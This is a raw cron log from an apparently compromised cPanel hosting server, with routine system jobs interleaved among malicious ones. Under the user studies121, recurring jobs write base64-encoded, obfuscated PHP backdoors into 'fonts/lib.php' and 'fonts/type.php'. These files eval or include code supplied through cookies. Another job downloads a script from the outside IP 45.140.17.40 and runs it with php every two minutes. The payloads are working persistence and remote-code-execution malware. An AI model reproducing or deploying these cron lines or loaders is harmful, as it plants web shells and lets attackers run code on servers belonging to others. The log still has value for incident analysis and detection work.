Sep 20 17:58:01 ip-184-168-122-23 CROND[24263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:58:01 ip-184-168-122-23 CROND[24264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:58:01 ip-184-168-122-23 CROND[24265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:58:01 ip-184-168-122-23 CROND[24266]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:58:01 ip-184-168-122-23 CROND[24267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:59:01 ip-184-168-122-23 CROND[24532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:59:01 ip-184-168-122-23 CROND[24531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:59:01 ip-184-168-122-23 CROND[24534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:59:01 ip-184-168-122-23 CROND[24533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:00:01 ip-184-168-122-23 CROND[24827]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 18:00:01 ip-184-168-122-23 CROND[24828]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 18:00:01 ip-184-168-122-23 CROND[24830]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 18:00:01 ip-184-168-122-23 CROND[24835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:00:01 ip-184-168-122-23 CROND[24836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:00:01 ip-184-168-122-23 CROND[24838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:00:01 ip-184-168-122-23 CROND[24834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:00:01 ip-184-168-122-23 CROND[24839]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:00:01 ip-184-168-122-23 CROND[24840]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 20 18:01:01 ip-184-168-122-23 CROND[25111]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 18:01:01 ip-184-168-122-23 CROND[25112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:01:01 ip-184-168-122-23 CROND[25114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:01:01 ip-184-168-122-23 CROND[25113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:01:01 ip-184-168-122-23 CROND[25117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:01:01 ip-184-168-122-23 CROND[25118]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25111]: starting 0anacron
Sep 20 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25134]: finished 0anacron
Sep 20 18:02:01 ip-184-168-122-23 CROND[25368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:02:01 ip-184-168-122-23 CROND[25371]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:02:01 ip-184-168-122-23 CROND[25369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:02:01 ip-184-168-122-23 CROND[25370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:02:01 ip-184-168-122-23 CROND[25372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:03:01 ip-184-168-122-23 CROND[25639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:03:01 ip-184-168-122-23 CROND[25638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:03:01 ip-184-168-122-23 CROND[25641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:03:01 ip-184-168-122-23 CROND[25640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:04:02 ip-184-168-122-23 CROND[25987]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:04:02 ip-184-168-122-23 CROND[25988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:04:02 ip-184-168-122-23 CROND[25991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:04:02 ip-184-168-122-23 CROND[25992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:04:02 ip-184-168-122-23 CROND[25993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:05:01 ip-184-168-122-23 CROND[26239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:05:01 ip-184-168-122-23 CROND[26241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:05:01 ip-184-168-122-23 CROND[26245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:05:01 ip-184-168-122-23 CROND[26247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 18:05:01 ip-184-168-122-23 CROND[26244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:05:01 ip-184-168-122-23 CROND[26249]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 18:05:01 ip-184-168-122-23 CROND[26246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 18:06:02 ip-184-168-122-23 CROND[26475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:06:02 ip-184-168-122-23 CROND[26477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:06:02 ip-184-168-122-23 CROND[26480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:06:02 ip-184-168-122-23 CROND[26478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:06:02 ip-184-168-122-23 CROND[26479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:07:01 ip-184-168-122-23 CROND[26737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:07:01 ip-184-168-122-23 CROND[26738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:07:01 ip-184-168-122-23 CROND[26739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:07:01 ip-184-168-122-23 CROND[26741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:08:01 ip-184-168-122-23 CROND[27044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:08:01 ip-184-168-122-23 CROND[27046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:08:01 ip-184-168-122-23 CROND[27052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:08:01 ip-184-168-122-23 CROND[27053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:08:01 ip-184-168-122-23 CROND[27054]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:09:01 ip-184-168-122-23 CROND[27433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:09:01 ip-184-168-122-23 CROND[27435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:09:01 ip-184-168-122-23 CROND[27438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:09:01 ip-184-168-122-23 CROND[27436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:09:01 ip-184-168-122-23 CROND[27437]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
